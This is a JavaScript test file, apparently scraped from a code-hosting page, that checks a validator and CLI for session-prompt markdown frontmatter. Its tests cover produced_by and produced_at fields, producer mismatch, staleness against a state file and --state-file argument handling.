import { execFileSync, spawnSync } from 'node:child_process';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { childEnv } from '../helpers/child-env.mjs';
|
||||
|
||||
import {
|
||||
validateNextSessionPromptContent,
|
||||
validateNextSessionPromptObject,
|
||||
validateNextSessionPromptConsistency,
|
||||
} from '../../lib/validators/next-session-prompt-validator.mjs';
|
||||
|
||||
function frontmatter(producedBy, producedAt, extra = '') {
|
||||
return `---\nproduced_by: ${producedBy}\nproduced_at: ${producedAt}\n${extra}---\n\n# A1 — example\n\nbody\n`;
|
||||
}
|
||||
|
||||
test('validateNextSessionPromptContent — both consistent producers (valid)', () => {
|
||||
const text = frontmatter('trekexecute', '2026-05-04T16:00:00.000Z');
|
||||
const r = validateNextSessionPromptContent(text);
|
||||
assert.equal(r.valid, true, JSON.stringify(r.errors));
|
||||
assert.equal(r.parsed.produced_by, 'trekexecute');
|
||||
});
|
||||
|
||||
test('validateNextSessionPromptObject — missing produced_by is invalid', () => {
|
||||
const r = validateNextSessionPromptObject({ produced_at: '2026-05-04T16:00:00Z' });
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'NEXT_SESSION_PROMPT_MISSING_FIELD' && /produced_by/.test(e.message)));
|
||||
});
|
||||
|
||||
test('validateNextSessionPromptObject — missing produced_at is invalid', () => {
|
||||
const r = validateNextSessionPromptObject({ produced_by: 'trekexecute' });
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'NEXT_SESSION_PROMPT_MISSING_FIELD' && /produced_at/.test(e.message)));
|
||||
});
|
||||
|
||||
test('validateNextSessionPromptObject — invalid produced_at timestamp rejected', () => {
|
||||
const r = validateNextSessionPromptObject({ produced_by: 'x', produced_at: 'not-a-date' });
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'NEXT_SESSION_PROMPT_INVALID_TIMESTAMP'));
|
||||
});
|
||||
|
||||
test('validateNextSessionPromptContent — no frontmatter downgrades to warning (valid)', () => {
|
||||
const r = validateNextSessionPromptContent('# Plain markdown, no frontmatter\n\ntext\n');
|
||||
assert.equal(r.valid, true);
|
||||
assert.ok(r.warnings.find(w => w.code === 'NEXT_SESSION_PROMPT_NO_FRONTMATTER'));
|
||||
});
|
||||
|
||||
test('validateNextSessionPromptConsistency — producer mismatch with both fresh fails', () => {
|
||||
const a = { path: '/a', parsed: { produced_by: 'trekexecute', produced_at: '2026-05-04T16:00:00.000Z' } };
|
||||
const b = { path: '/b', parsed: { produced_by: 'graceful-handoff', produced_at: '2026-05-04T16:05:00.000Z' } };
|
||||
const state = { updated_at: '2026-05-04T15:00:00.000Z' };
|
||||
const r = validateNextSessionPromptConsistency(a, b, { state, now: Date.parse('2026-05-04T16:30:00.000Z') });
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'NEXT_SESSION_PROMPT_PRODUCER_MISMATCH'));
|
||||
});
|
||||
|
||||
test('validateNextSessionPromptConsistency — state-anchored stale candidate ignored', () => {
|
||||
const a = { path: '/a', parsed: { produced_by: 'graceful-handoff', produced_at: '2026-05-03T10:00:00.000Z' } };
|
||||
const b = { path: '/b', parsed: { produced_by: 'trekexecute', produced_at: '2026-05-04T16:05:00.000Z' } };
|
||||
const state = { updated_at: '2026-05-04T16:00:00.000Z' };
|
||||
const r = validateNextSessionPromptConsistency(a, b, { state, now: Date.parse('2026-05-04T16:30:00.000Z') });
|
||||
assert.equal(r.valid, true, JSON.stringify(r.errors));
|
||||
assert.ok(r.warnings.find(w => w.code === 'NEXT_SESSION_PROMPT_STALE_IGNORED'));
|
||||
});
|
||||
|
||||
test('validateNextSessionPromptConsistency — 24h wall-clock drift emits soft warning', () => {
|
||||
const a = { path: '/a', parsed: { produced_by: 'trekexecute', produced_at: '2026-05-01T16:00:00.000Z' } };
|
||||
const b = { path: '/b', parsed: { produced_by: 'trekexecute', produced_at: '2026-05-01T16:00:00.000Z' } };
|
||||
const r = validateNextSessionPromptConsistency(a, b, { now: Date.parse('2026-05-04T16:30:00.000Z') });
|
||||
assert.equal(r.valid, true);
|
||||
assert.ok(r.warnings.find(w => w.code === 'NEXT_SESSION_PROMPT_WALL_CLOCK_DRIFT'));
|
||||
});
|
||||
|
||||
test('validateNextSessionPromptConsistency — same producer, both fresh, no errors', () => {
|
||||
const a = { path: '/a', parsed: { produced_by: 'trekexecute', produced_at: '2026-05-04T16:00:00.000Z' } };
|
||||
const b = { path: '/b', parsed: { produced_by: 'trekexecute', produced_at: '2026-05-04T16:01:00.000Z' } };
|
||||
const r = validateNextSessionPromptConsistency(a, b, { now: Date.parse('2026-05-04T16:30:00.000Z') });
|
||||
assert.equal(r.valid, true);
|
||||
assert.deepEqual(r.errors, []);
|
||||
// No 24h warning: produced_at is well within 24h of `now`.
|
||||
assert.deepEqual(r.warnings.filter(w => w.code === 'NEXT_SESSION_PROMPT_WALL_CLOCK_DRIFT'), []);
|
||||
});
|
||||
|
||||
test('CLI shim — single-file mode returns JSON for valid file', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'nspv-cli-'));
|
||||
try {
|
||||
const file = join(dir, 'NEXT-SESSION-PROMPT.local.md');
|
||||
writeFileSync(file, frontmatter('trekexecute', '2026-05-04T16:00:00.000Z'));
|
||||
const out = execFileSync(process.execPath, [
|
||||
'lib/validators/next-session-prompt-validator.mjs',
|
||||
'--json',
|
||||
file,
|
||||
], { encoding: 'utf-8' });
|
||||
const parsed = JSON.parse(out);
|
||||
assert.equal(parsed.valid, true);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('CLI shim — consistency mode flags producer mismatch', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'nspv-cli-'));
|
||||
try {
|
||||
const a = join(dir, 'a.md');
|
||||
const b = join(dir, 'b.md');
|
||||
writeFileSync(a, frontmatter('trekexecute', '2026-05-04T16:00:00.000Z'));
|
||||
writeFileSync(b, frontmatter('graceful-handoff', '2026-05-04T16:01:00.000Z'));
|
||||
let exitCode = 0;
|
||||
let out = '';
|
||||
try {
|
||||
out = execFileSync(process.execPath, [
|
||||
'lib/validators/next-session-prompt-validator.mjs',
|
||||
'--json',
|
||||
'--consistency',
|
||||
a,
|
||||
b,
|
||||
], { encoding: 'utf-8' });
|
||||
} catch (e) {
|
||||
exitCode = e.status;
|
||||
out = e.stdout ? e.stdout.toString() : '';
|
||||
}
|
||||
assert.notEqual(exitCode, 0);
|
||||
const parsed = JSON.parse(out);
|
||||
assert.equal(parsed.valid, false);
|
||||
assert.ok(parsed.errors.find(e => e.code === 'NEXT_SESSION_PROMPT_PRODUCER_MISMATCH'));
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
// --- #102: the consistency call reads the state file -----------------------
|
||||
// The CLI counted the --state-file value as a third positional and exited 2,
|
||||
// so the state-anchored staleness check never ran from the command line; and
|
||||
// an invalid B still gave valid: true. These tests use spawnSync so they reach
|
||||
// an assertion on exit 2 too.
|
||||
|
||||
const CLI = fileURLToPath(new URL('../../lib/validators/next-session-prompt-validator.mjs', import.meta.url));
|
||||
|
||||
function runCli(args) {
|
||||
return spawnSync(process.execPath, [CLI, ...args], { encoding: 'utf-8' });
|
||||
}
|
||||
|
||||
/** A stale master (older than the state's updated_at) and a fresh sibling by another producer. */
|
||||
function stalePair(dir) {
|
||||
const a = join(dir, 'a.md');
|
||||
const b = join(dir, 'b.md');
|
||||
const s = join(dir, '.session-state.local.json');
|
||||
writeFileSync(a, frontmatter('graceful-handoff', '2026-05-03T10:00:00.000Z'));
|
||||
writeFileSync(b, frontmatter('trekexecute', '2026-05-04T16:05:00.000Z'));
|
||||
writeFileSync(s, JSON.stringify({ schema_version: 1, updated_at: '2026-05-04T16:00:00.000Z' }));
|
||||
return { a, b, s };
|
||||
}
|
||||
|
||||
test('[#102] CLI --json --consistency a b --state-file s: the state-anchored case exits 0 with a STALE_IGNORED warning', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'nspv-cli-'));
|
||||
try {
|
||||
const { a, b, s } = stalePair(dir);
|
||||
const r = runCli(['--json', '--consistency', a, b, '--state-file', s]);
|
||||
assert.equal(r.status, 0, `exit ${r.status}: ${r.stdout}${r.stderr}`);
|
||||
const parsed = JSON.parse(r.stdout);
|
||||
assert.equal(parsed.valid, true, JSON.stringify(parsed.errors));
|
||||
assert.ok(parsed.warnings.find((w) => w.code === 'NEXT_SESSION_PROMPT_STALE_IGNORED'),
|
||||
'the stale candidate was not ignored');
|
||||
assert.equal(parsed.errors.find((e) => e.code === 'NEXT_SESSION_PROMPT_PRODUCER_MISMATCH'), undefined);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('control: the same pair without --state-file is a producer mismatch (exit 1)', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'nspv-cli-'));
|
||||
try {
|
||||
const { a, b } = stalePair(dir);
|
||||
const r = runCli(['--json', '--consistency', a, b]);
|
||||
assert.equal(r.status, 1, `exit ${r.status}: ${r.stdout}${r.stderr}`);
|
||||
const parsed = JSON.parse(r.stdout);
|
||||
assert.equal(parsed.valid, false);
|
||||
assert.ok(parsed.errors.find((e) => e.code === 'NEXT_SESSION_PROMPT_PRODUCER_MISMATCH'));
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('[#102] sibling: rb.valid counts: an invalid B makes the consistency result invalid (exit 1)', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'nspv-cli-'));
|
||||
try {
|
||||
const a = join(dir, 'a.md');
|
||||
const b = join(dir, 'b.md');
|
||||
writeFileSync(a, frontmatter('trekexecute', '2026-05-04T16:00:00.000Z'));
|
||||
writeFileSync(b, '---\nproduced_by: trekexecute\n---\n\n# B, no produced_at\n');
|
||||
const r = runCli(['--json', '--consistency', a, b]);
|
||||
assert.equal(r.status, 1, `an invalid B still passed: exit ${r.status}: ${r.stdout}${r.stderr}`);
|
||||
const parsed = JSON.parse(r.stdout);
|
||||
assert.equal(parsed.valid, false);
|
||||
assert.ok(parsed.errors.find((e) => e.code === 'NEXT_SESSION_PROMPT_MISSING_FIELD' && /produced_at/.test(e.message)));
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
// --- E16a (fix round 4.5b): --state-file without a value is refused ----------
|
||||
// The CLI refuses --state-file when no value follows it, or when the next word
|
||||
// is another option, with exit 2 and "needs a value". Without the refusal the
|
||||
// consistency call runs on the same pair and exits 0 or 1, so each test runs
|
||||
// that call and asserts the exit code and the message.
|
||||
|
||||
function runCliClean(args) {
|
||||
return spawnSync(process.execPath, [CLI, ...args], { encoding: 'utf-8', env: childEnv() });
|
||||
}
|
||||
|
||||
test('[E16a] --state-file as the last argument exits 2 with needs a value', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'nspv-cli-'));
|
||||
try {
|
||||
const { a, b } = stalePair(dir);
|
||||
const r = runCliClean(['--json', '--consistency', a, b, '--state-file']);
|
||||
assert.equal(r.status, 2, `a --state-file with no value was not refused: exit ${r.status}: ${r.stdout}${r.stderr}`);
|
||||
assert.match(r.stderr, /--state-file needs a value/, `the refusal does not say the flag needs a value: ${r.stderr}`);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('[E16a] --state-file followed by another option exits 2', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'nspv-cli-'));
|
||||
try {
|
||||
const { a, b } = stalePair(dir);
|
||||
const r = runCliClean(['--state-file', '--json', '--consistency', a, b]);
|
||||
assert.equal(r.status, 2, `--state-file took the option after it as its value: exit ${r.status}: ${r.stdout}${r.stderr}`);
|
||||
assert.match(r.stderr, /--state-file needs a value/, `the refusal does not say the flag needs a value: ${r.stderr}`);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
Loading…
Add table
Add a link
Reference in a new issue